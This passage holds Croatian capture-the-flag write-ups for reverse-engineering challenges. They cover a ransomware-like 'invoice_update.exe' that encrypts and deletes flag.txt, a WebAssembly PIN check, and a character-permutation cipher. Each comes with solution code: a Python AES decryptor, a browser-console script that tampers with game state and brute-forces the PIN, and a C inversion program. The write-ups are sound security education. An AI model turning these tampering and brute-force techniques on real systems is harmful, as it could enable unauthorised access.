Skripta najprije sakuplja sve moguće kandidate prvih osam bajtova PIN alatom. Korištenjem odnosa i vrijednosti bajtova znamenki ključa, unosi sve moguće vrijednosti u program, gdje PIN zatim ispisuje srand i rand kandidate.
Zatim, pokretanjem bruteforce skripte dobivaju se kandidati zadnjih četiri bajta ključa za srand i rand funkcije te gleda daje li zbroj rand funkcije s nekim kandidatom prvih osam bajtova vrijednost tajnog ključa. Ako je zbroj isti, pronađena je zastavica.
Sumnjivi invoice_update.exe
Netko je pronašao sumnjivi program "invoice_update.exe" u svom downloads direktoriju. Umjesto njegove "flag.txt" datoteke sada je prisutna samo datoteka "flag.encrypted".
Kontekst zadatka
Dane su datoteke flag.encrypted i invoice_update.exe.
Program radi sljedeće:
1. Loader.Initialize ručno parsira PE export tablicu kernel32.dll, pronalazi GetProcAddress preko FNV-1a hasha, pa preko njega resolva CreateFileW, ReadFile, WriteFile, GetFileSizeEx, CloseHandle, DeleteFileW. Imena API-ja i DLL-a su XOR-obfuscirana (0x5A / 0x37).
2. Locator.Find u trenutnom direktoriju traži datoteku čiji SHA-256 imena odgovara hashu stringa “flag.txt”.
3. NativeFile.Read – čita flag.txt preko raw Win32 API poziva.
4. DependencyChecks.CheckDependencies() – generira AES-256 ključ:
1. uzme Seed (16 bajtova)
2. XOR sa 0x37
3. Array.Reverse
4. SHA256 → 32 bajta = AES ključ
5. Transformer.Run – AES-256-CBC, IV = 16 nula, PKCS7 padding, enkriptira sadržaj.
6. NativeFile.Write – zapisuje rezultat kao <stem>.encrypted.
7. NativeFile.Remove – briše originalni flag.txt.
Dakle: flag.txt se enkriptira u flag.encrypted i original se obriše. Zastava je unutra, treba ju dekriptirati.
Ranjivost i ideja napada
Kako bi se zadatak riješio, potrebno je izvesti obrnuti postupak od programa:
1. Rekonstruirati AES ključ
2. Dekriptirati enkripciju ključa
Rješenje
#!/usr/bin/env python3 import hashlib import sys from pathlib import Path from Crypto.Cipher import AES from Crypto.Util.Padding import unpad SEED = bytes([ 0x91, 0xA4, 0x31, 0x72, 0x19, 0xF3, 0x88, 0x42, 0x55, 0x10, 0xC7, 0x2A, 0x63, 0x11, 0xD4, 0x09 ]) IV = b"\x00" * 16 def derive_key(): # 1. XOR every byte with 0x37 material = bytes(b ^ 0x37 for b in SEED) # 2. Reverse material = material[::-1] # 3. SHA-256 -> 32-byte AES-256 key return hashlib.sha256(material).digest() def decrypt(data): key = derive_key() cipher = AES.new( key, AES.MODE_CBC, IV ) plaintext = cipher.decrypt(data) # Equivalent to .NET PaddingMode.PKCS7 return unpad(plaintext, AES.block_size) def main(): if len(sys.argv) != 3: print(f"Usage: {sys.argv[0]} encrypted_file output_file") sys.exit(1) source = Path(sys.argv[1]) destination = Path(sys.argv[2]) encrypted = source.read_bytes() plaintext = decrypt(encrypted) destination.write_bytes(plaintext) print(f"Decrypted: {source}") print(f"Output: {destination}") if __name__ == "__main__": main()
Game Rev 1
Možete li pronaći tajnu prijavu i saznati tajni password? http://chal.hacknite.hr:18001
Kontekst zadatka
Dane su datoteke game.js i game.wasm na klijentskoj strani preglednika.
Unutar game.wasm može se pronaći check_pin funkcija:
(func $check_pin (;10;) (export "check_pin") (param $var0 i32) (result i32) (local $var1 i32) (local $var2 i32) (local $var3 i32) (local $var4 i32) (local $var5 i32) (local $var6 i32) (local $var7 i32) (local $var8 i32) (local $var9 i32) global.get $__stack_pointer i32.const 16 i32.sub local.tee $var1 global.set $__stack_pointer block $label1 block $label0 local.get $var0 call $strlen i32.const 12 i32.eq br_if $label0 i32.const 0 local.set $var2 br $label1 end $label0 i32.const 0 local.set $var2 i32.const 0 i32.load offset=1040 local.tee $var3 i32.eqz br_if $label1 local.get $var1 i32.const 0 i32.store offset=8 local.get $var1 i64.const 0 i64.store i32.const 0 local.set $var2 i32.const 100 local.set $var4 loop $label3 local.get $var2 local.set $var5 i32.const 0 local.set $var2 i32.const 0 local.set $var6 local.get $var4 local.tee $var7 local.set $var4 loop $label2 local.get $var2 i32.const 1 i32.add local.tee $var8 local.set $var2 local.get $var3 local.get $var4 local.tee $var4 i32.add i32.load8_u i32.const 1 i32.and local.get $var6 i32.const 1 i32.shl i32.or local.tee $var9 local.set $var6 local.get $var4 i32.const 4 i32.add local.set $var4 local.get $var8 i32.const 8 i32.ne br_if $label2 end $label2 local.get $var1 local.get $var5 i32.add local.get $var9 i32.store8 local.get $var5 i32.const 1 i32.add local.tee $var6 local.set $var2 local.get $var7 i32.const 32 i32.add local.set $var4 local.get $var6 i32.const 12 i32.ne br_if $label3 end $label3 i32.const 0 i32.load8_u offset=1032 i32.const -7 i32.add local.tee $var2 local.get $var2 i32.mul i32.const 100 i32.mul i32.const 66 i32.add i32.const 255 i32.and local.set $var8 i32.const 0 local.set $var2 block $label5 block $label4 loop $label6 local.get $var0 local.get $var2 local.tee $var2 i32.add i32.load8_u local.tee $var6 i32.const -58 i32.add i32.const 255 i32.and i32.const 246 i32.lt_u br_if $label4 local.get $var6 i32.const 255 i32.and local.get $var8 local.get $var1 local.get $var2 i32.add i32.load8_u i32.xor i32.ne br_if $label4 local.get $var2 i32.const 1 i32.add local.tee $var6 local.set $var2 i32.const 1 local.set $var4 local.get $var6 i32.const 12 i32.eq br_if $label5 br $label6 end $label6 end $label4 i32.const 0 local.set $var4 end $label5 local.get $var4 local.set $var2 end $label1 local.get $var1 i32.const 16 i32.add global.set $__stack_pointer local.get $var2 )
Ranjivost i ideja napada
Korištenjem alata wasm2c dobije se izvorni kod check_pin funkcije:
u32 w2c__check_pin_0(w2c_* instance, u32 var_p0) { u32 var_l1 = 0, var_l2 = 0, var_l3 = 0, var_l4 = 0, var_l5 = 0, var_l6 = 0, var_l7 = 0, var_l8 = 0, var_l9 = 0; FUNC_PROLOGUE; uint8_t* const wasm_rt_local_memory_base = (&instance->w2c_memory)->data; uint64_t wasm_rt_local_memory_size = (&instance->w2c_memory)->size; (void)wasm_rt_local_memory_base; (void)wasm_rt_local_memory_size; u32 var_i0, var_i1, var_i2, var_i3; u64 var_j1; var_i0 = instance->w2c_0x5F_stack_pointer; var_i1 = 16u; var_i0 -= var_i1; var_l1 = var_i0; instance->w2c_0x5F_stack_pointer = var_i0; var_i0 = var_p0; var_i0 = w2c__strlen(instance, var_i0); wasm_rt_local_memory_size = (&instance->w2c_memory)->size; var_i1 = 12u; var_i0 = var_i0 == var_i1; if (var_i0) {goto var_B1;} var_i0 = 0u; var_l2 = var_i0; goto var_B0; var_B1:; var_i0 = 0u; var_l2 = var_i0; var_i0 = 0u; var_i0 = i32_load_default32(wasm_rt_local_memory_base, wasm_rt_local_memory_size, &instance->w2c_memory, (u64)(var_i0) + 1040u); var_l3 = var_i0; var_i0 = !(var_i0); if (var_i0) {goto var_B0;} var_i0 = var_l1; var_i1 = 0u; i32_store_default32(wasm_rt_local_memory_base, wasm_rt_local_memory_size, &instance->w2c_memory, (u64)(var_i0) + 8u, var_i1); var_i0 = var_l1; var_j1 = 0ull; i64_store_default32(wasm_rt_local_memory_base, wasm_rt_local_memory_size, &instance->w2c_memory, (u64)(var_i0), var_j1); var_i0 = 0u; var_l2 = var_i0; var_i0 = 100u; var_l4 = var_i0; var_L2: var_i0 = var_l2; var_l5 = var_i0; var_i0 = 0u; var_l2 = var_i0; var_i0 = 0u; var_l6 = var_i0; var_i0 = var_l4; var_l7 = var_i0; var_l4 = var_i0; var_L3: var_i0 = var_l2; var_i1 = 1u; var_i0 += var_i1; var_l8 = var_i0; var_l2 = var_i0; var_i0 = var_l3; var_i1 = var_l4; var_l4 = var_i1; var_i0 += var_i1; var_i0 = i32_load8_u_default32(wasm_rt_local_memory_base, wasm_rt_local_memory_size, &instance->w2c_memory, (u64)(var_i0)); var_i1 = 1u; var_i0 &= var_i1; var_i1 = var_l6; var_i2 = 1u; var_i1 <<= (var_i2 & 31); var_i0 |= var_i1; var_l9 = var_i0; var_l6 = var_i0; var_i0 = var_l4; var_i1 = 4u; var_i0 += var_i1; var_l4 = var_i0; var_i0 = var_l8; var_i1 = 8u; var_i0 = var_i0 != var_i1; if (var_i0) {goto var_L3;} var_i0 = var_l1; var_i1 = var_l5; var_i0 += var_i1; var_i1 = var_l9; i32_store8_default32(wasm_rt_local_memory_base, wasm_rt_local_memory_size, &instance->w2c_memory, (u64)(var_i0), var_i1); var_i0 = var_l5; var_i1 = 1u; var_i0 += var_i1; var_l6 = var_i0; var_l2 = var_i0; var_i0 = var_l7; var_i1 = 32u; var_i0 += var_i1; var_l4 = var_i0; var_i0 = var_l6; var_i1 = 12u; var_i0 = var_i0 != var_i1; if (var_i0) {goto var_L2;} var_i0 = 0u; var_i0 = i32_load8_u_default32(wasm_rt_local_memory_base, wasm_rt_local_memory_size, &instance->w2c_memory, (u64)(var_i0) + 1032u); var_i1 = 4294967289u; var_i0 += var_i1; var_l2 = var_i0; var_i1 = var_l2; var_i0 *= var_i1; var_i1 = 100u; var_i0 *= var_i1; var_i1 = 66u; var_i0 += var_i1; var_i1 = 255u; var_i0 &= var_i1; var_l8 = var_i0; var_i0 = 0u; var_l2 = var_i0; var_L6: var_i0 = var_p0; var_i1 = var_l2; var_l2 = var_i1; var_i0 += var_i1; var_i0 = i32_load8_u_default32(wasm_rt_local_memory_base, wasm_rt_local_memory_size, &instance->w2c_memory, (u64)(var_i0)); var_l6 = var_i0; var_i1 = 4294967238u; var_i0 += var_i1; var_i1 = 255u; var_i0 &= var_i1; var_i1 = 246u; var_i0 = var_i0 < var_i1; if (var_i0) {goto var_B5;} var_i0 = var_l6; var_i1 = 255u; var_i0 &= var_i1; var_i1 = var_l8; var_i2 = var_l1; var_i3 = var_l2; var_i2 += var_i3; var_i2 = i32_load8_u_default32(wasm_rt_local_memory_base, wasm_rt_local_memory_size, &instance->w2c_memory, (u64)(var_i2)); var_i1 ^= var_i2; var_i0 = var_i0 != var_i1; if (var_i0) {goto var_B5;} var_i0 = var_l2; var_i1 = 1u; var_i0 += var_i1; var_l6 = var_i0; var_l2 = var_i0; var_i0 = 1u; var_l4 = var_i0; var_i0 = var_l6; var_i1 = 12u; var_i0 = var_i0 == var_i1; if (var_i0) {goto var_B4;} goto var_L6; var_B5:; var_i0 = 0u; var_l4 = var_i0; var_B4:; var_i0 = var_l4; var_l2 = var_i0; var_B0:; var_i0 = var_l1; var_i1 = 16u; var_i0 += var_i1; instance->w2c_0x5F_stack_pointer = var_i0; var_i0 = var_l2; FUNC_EPILOGUE; return var_i0; }
Funkcija check_pin provjerava 12-znamenkasti PIN i traži da su ispunjena dva uvjeta istovremeno:
1. Iz audio buffera se čita najmanje značajan bit svakog 4. bajta, počevši od offseta 100. Tako se skupi 96 bitova koji daju 12 tajnih bajtova.
2. Očekivani znak računa se kao: expected[i] = secret[i] XOR (0x42 + (score − 7)**2 * 100).
Kad je score točno 7, diff = 0, pa je ključ samo 0x42 i PIN je secret[i] ^ 0x42.
Za bilo koji drugi score ključ se mijenja, pa očekivani znakovi nisu znamenke.
Dakle, da bi funkcija vratila 1, mora se dekodirati skriveni sadržaj iz audio datoteke i imati točno 7 bodova.
Rješenje
(() => {
const M = Module;
const H = () => window.HEAPU8;
const pinAt = base => {
const h = H(), s = new Uint8Array(12);
let o = base + 100;
if (o + 384 >= h.length) return null;
for (let i = 0; i < 12; i++)
for (let k = 0; k < 8; k++, o += 4)
s[i] = (s[i] << 1) | (h[o] & 1);
const pin = [...s].map(x => String.fromCharCode(x ^ 0x42)).join("");
return /^[0-9]{12}$/.test(pin) ? pin : null;
};
const test = pin => {
M._reset_game_state();
for (let i = 0; i < 7; i++) M._increase_score();
const p = M._malloc(13);
window.HEAPU8.set(new TextEncoder().encode(pin + "\0"), p);
const ok = M._check_pin(p);
M._free(p);
return ok === 1;
};
const h = H();
for (let base = 0; base < Math.min(h.length - 600, 4e6); base += 4) {
const pin = pinAt(base);
if (pin && test(pin)) return console.log("FOUND:", pin, "at base", base);
}
})();
Text Diffuser
Text difuzor i difuzirani flag, možete li ga refuzirati?
Kontekst zadatka
Dane su binarna datoteka diffusor i flag_dif.txt.
Flag_dif.txt sadrži nasumične znakove.
Binarni difuzor radi iduće:
1. Učitavanje i priprema
Učitava datoteku zadanu argumentom i smješta njezin sadržaj u pravokutnu matricu (M × M), dopunjenu razmacima i znakovima novog retka. Dimenzija M izračunava se iz najveće širine retka i broja redaka.
2. Generiranje ključa (invarijantni histogram)
Broji znakove u “invarijantne koševe”: 7 binova za ASCII raspon 33–123 (modulo 7), plus posebno za razmake, nove retke i ostale znakove. Iz tog histograma izračunava deterministički RNG seed, ključ ovisi samo o invarijantama, ne o konkretnom rasporedu znakova.
3. Difuzijska petlja (15 iteracija)
U svakoj iteraciji izvodi velik broj zamjena vođenih pseudoslučajnim brojevima. Koristi Feistelovu logiku hemisfere: odabire se nasumična ćelija (Obs_Idx), a zatim se određuje partner za zamjenu (B) na temelju njezine vrijednosti (ASCII fazni pomak). Ključna je invarijantna modulo mutacija: pri svakoj zamjeni znakovi se ne samo zamjenjuju, već i pomiču za višekratnik broja 7 unutar raspona 33–123. Time se čuva histogram po modulu 7, pa ključ ostaje isti, ali se sadržaj mijenja.
Ranjivost i ideja napada
Svaki pojedini korak naprijed je reverzibilan: zamjena je sama sebi inverz, a modulo pomak se poništava pomakom suprotnog predznaka. Dekripcija zato ne treba “isto polje zamjena primijenjeno obrnuto”, dovoljno je da se svaki korak izvede s obrnutim predznakom i u obrnutom redoslijedu.
1. Isti ključ u oba smjera
Ključ (rng_seed_base) računa se iz invarijantnog histograma. Histogram se ne mijenja zamjenama (samo se preuređuju znakovi), a modulo pomaci su višekratnici broja 7 unutar raspona 91 = 13·7, pa se modulo-7 binovi čuvaju. Zato je ključ identičan i pri difuziji i pri dekripciji.
2. PRNG tok je isti, ali partner B nije unaprijed fiksiran
U apply_diffusion_permutation za iteraciju i generira se P_array iz seeda + i. Iz svakog P1 izračuna se A (pozicija), a iz P2 i vrijednosti ćelije Obs_Idx (obs_val) računaju se smjer i udaljenost do partnera B. Budući da obs_val ovisi o trenutnom sadržaju buffera, polje (A, B) parova nije isto naprijed i unatrag, mijenja se kako se buffer mijenja.
3. Naprijed: iteracije 1 - 15, zamjene 0 s N−1, direction = +1
Modulo pomak ide u jednom smjeru (total_shift = offset · 7 · mutation_sign · (+1)).
4. Unatrag: iteracije 15 - 1, zamjene N−1 s 0, direction = −1
Koristi se isti P_array (isti seed, isti i), ista formula za A, ali se B računa iz trenutnog, djelomično vraćenog stanja buffera. Modulo pomak ide u suprotnom smjeru (total_shift = offset · 7 · mutation_sign · (−1)), što poništava odgovarajući pomak naprijed. Obrnuti redoslijed (i iteracija i zamjena) osigurava da se svaki korak poništi točno na mjestu gdje je primijenjen.
Rješenje
#include <stdio.h> #include <stdlib.h> #include <string.h> #define PADDING_CHAR ' ' #define SWAP_MULTIPLIER 20 #define MODULO_INVARIANT 7 #define USABLE_ASCII_RANGE 91 int main(int argc, char *argv[]) { if (argc != 3) return 1; FILE *fp = fopen(argv[1], "rb"); if (!fp) return 1; fseek(fp, 0, SEEK_END); long long file_size = ftell(fp); fseek(fp, 0, SEEK_SET); char *raw = (char*)malloc(file_size + 1); if (!raw) { fclose(fp); return 1; } fread(raw, 1, file_size, fp); raw[file_size] = '\0'; fclose(fp); long long max_W = 0, lines = 0, current_W = 0; for (long long i = 0; i < file_size; ++i) { if (raw[i] == '\n') { if (current_W > max_W) max_W = current_W; current_W = 0; lines++; } else current_W++; } if (current_W > 0) { if (current_W > max_W) max_W = current_W; lines++; } long long M = (max_W > lines) ? max_W : lines; if (M < 2) M = 2; long long permutation_space_size = M * (M + 1); long long row_len = M + 1; char *buffer = (char*)malloc(permutation_space_size); for (long long r = 0; r < M; ++r) { for (long long c = 0; c < M; ++c) buffer[r * row_len + c] = PADDING_CHAR; buffer[r * row_len + M] = '\n'; } long long raw_idx = 0, r = 0, c = 0; while (raw_idx < file_size) { if (raw[raw_idx] == '\n') { r++; c = 0; } else { buffer[r * row_len + c] = raw[raw_idx]; c++; } raw_idx++; } free(raw); long long invariant_histogram[10]; memset(invariant_histogram, 0, sizeof(invariant_histogram)); for (long long i = 0; i < permutation_space_size; ++i) { unsigned char ch = (unsigned char)buffer[i]; if (ch == PADDING_CHAR) invariant_histogram[7]++; else if (ch == '\n') invariant_histogram[8]++; else if (ch >= 33 && ch < 33 + USABLE_ASCII_RANGE) { int bin = (ch - 33) % MODULO_INVARIANT; invariant_histogram[bin]++; } else invariant_histogram[9]++; } unsigned long long rng_seed_base = 0; for (int i = 0; i < 10; ++i) rng_seed_base = (rng_seed_base * 31 + invariant_histogram[i]); rng_seed_base = (rng_seed_base * 31 + permutation_space_size); rng_seed_base = (rng_seed_base * 31 + M); if (rng_seed_base == 0) rng_seed_base = 1; int num_states_to_advance = 15; long long total_cells = permutation_space_size; long long N_swaps = total_cells * SWAP_MULTIPLIER; unsigned long long *P_array = (unsigned long long*)malloc(sizeof(unsigned long long) * N_swaps * 2); if (!P_array) { free(buffer); return 1; } for (int iteration_num = num_states_to_advance; iteration_num >= 1; --iteration_num) { unsigned long long current_prng_state = rng_seed_base + iteration_num; if (current_prng_state == 0) current_prng_state = 1; for (long long k = 0; k < N_swaps * 2; ++k) { if (current_prng_state == 0) current_prng_state = 1; current_prng_state = (current_prng_state * 1664525UL + 1013904223UL) & 0xFFFFFFFFUL; P_array[k] = current_prng_state; } int mutation_sign = (iteration_num % 2 == 0) ? 1 : -1; for (long long k = N_swaps - 1; k >= 0; --k) { unsigned long long P1 = P_array[k * 2]; unsigned long long P2 = P_array[k * 2 + 1]; long long A = P1 % total_cells; long long row_A = A / row_len; long long col_A = A % row_len; int is_A_left = (col_A < M / 2); long long obs_col; if (is_A_left) obs_col = M / 2 + ((P1 / total_cells) % (M - M / 2)); else obs_col = (P1 / total_cells) % (M / 2); long long obs_row = (P1 / (total_cells * M)) % M; long long Obs_Idx = (obs_row * row_len) + obs_col; unsigned char obs_val = (unsigned char)buffer[Obs_Idx]; int dist_fused = ((P2 % 100) + obs_val) % 100; int dir_fused = (((P2 / 100) % 100) + obs_val) % 100; int D = 1; if (dist_fused < 1) D = 3; else if (dist_fused < 11) D = 2; long long B_row = row_A; long long B_col = col_A; if (dir_fused < 20) B_row -= D; else if (dir_fused < 40) B_col += D; else if (dir_fused < 80) B_row += D; else B_col -= D; if (B_row >= 0 && B_row < M && B_col >= 0 && B_col < M) { long long B = (B_row * row_len) + B_col; if (A != Obs_Idx && B != Obs_Idx) { if (buffer[A] != '\n' && buffer[B] != '\n') { char temp_A = buffer[A]; char temp_B = buffer[B]; int offset = (obs_val % 10) + 1; int total_shift = offset * MODULO_INVARIANT * mutation_sign * (-1); if (temp_A >= 33 && temp_A < 33 + USABLE_ASCII_RANGE) { int val = temp_A - 33; val = (val + total_shift) % USABLE_ASCII_RANGE; if (val < 0) val += USABLE_ASCII_RANGE; temp_A = (char)(val + 33); } if (temp_B >= 33 && temp_B < 33 + USABLE_ASCII_RANGE) { int val = temp_B - 33; val = (val + total_shift) % USABLE_ASCII_RANGE; if (val < 0) val += USABLE_ASCII_RANGE; temp_B = (char)(val + 33); } buffer[A] = temp_B; buffer[B] = temp_A; } } } } } free(P_array); FILE *out = fopen(argv[2], "wb"); if (!out) { free(buffer); return 1; } for (long long r = 0; r < M; ++r) { int is_empty = 1; for (long long c = 0; c < M; ++c) if (buffer[r * row_len + c] != PADDING_CHAR) { is_empty = 0; break; } if (!is_empty) fwrite(&buffer[r * row_len], 1, row_len, out); } fclose(out); free(buffer); return 0; }
